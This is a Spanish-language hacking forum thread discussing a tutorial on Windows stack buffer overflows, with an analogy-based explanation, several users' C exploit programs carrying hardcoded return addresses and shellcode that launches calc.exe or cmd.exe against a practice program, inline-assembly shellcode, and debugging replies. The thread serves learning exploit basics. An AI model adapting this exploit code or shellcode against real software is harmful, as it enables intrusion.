<-!-> Taller de Stack Overflows en Windows, por Rojodos

Iniciado por Rojodos, 16 Febrero 2005, 12:36 PM

0 Miembros y 2 Visitantes están viendo este tema.

Crack_X

Cita de: bochan en 26 Abril 2007, 19:52 PM
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64

saludos

Veamos, si tienes un vaso de 64 cc o lo que quieras... y le hechas 64cc de agua, pues esta lleno pero no se sale el agua porque cupo perfectamente, es lo que aguanta. Si le hechas 100cc de agua a un vaso que solamente puede contener 64cc pues se desborda, se produce un overflow. El overflow es poner mas de lo que aguanta. El buffer es de 64, si le pones de mas pues se desborda.
Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone

M3st4ng

 Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda

_Xerks_

Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.

exploit_vuln1_calc.c

#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }


Un saludo.

Deka_10

Islam != Terrorism


R41N-W4R3



    Hola, estoy realizando el exploit basico (gracias al texto de rojodos....impresionantemente bien explicado) y tengo el siguiente problema:

    Pego mi codigo antes de nada:

  #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77)  lo hago con el programa diceoffset [/b]

char offset[]="\x7C\x95\x1E\xED";  [b]  //HE SACADO ESTO EN MI PC CON FINDJMP[/b]
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vulnerable";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vulnerable.exe",argv);
    }

El caso es que al ejecutarlo me peta diciendo: que la instruccion que hace referencia a una direccion de memoria no se puede read.

  Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. Pego aki el codigo:

   #include <stdio.h>
#include <windows.h>

void main () {

LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf93c7
call ebx
}
}



   Saludos y gracias........

sirdarckcat

Tu error debe estar en la direccion del salto a JMP ESP.. pero.. porque pones el salto a JMP ESP al final del shellcode? :-/ lee otraves el tutorial de rojodos jeje

CitarPor otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se
me genera el exe.
si lo pudiste ejecutar, es porque ya se genero un exe.

Saludos!!

R41N-W4R3



   En el compilador le doy a ejecutar y me abre la shell...pero aunke le de a build no me sale ningun shell.exe...   cuando lo he ejecutado y pongo en la shell exit para cerrar la ventana msdos me sale el siguiente error:
   
  Debug error!
 
    program....
Module:
File: i386\chkesp.c
Line 42

    the value of ESP was not properly saved across a function call............

De todas formas estoy empezando desde el principio... y releyendo el tuto....
Gracias por tu ayuda

gaby-EOF

exelente tu tutorial rojodos hasta ahora solo tenia una idea muy remota de lo que se tratava stack overflows ahora me quedo clarisimo.

gracias  :xD
---------------->off line

Sha0

Hehe stack overflow es una tecnica muy antigua,
alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR ...

Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y  meterle mucha caña a la protarmacion a bajo nivel.

http://jolmos.blogspot.com
No intentes doblar la cuchara, eso es imposible.
Solo intenta comprender la realidad ...
que no hay cuchara.
-- a hacker --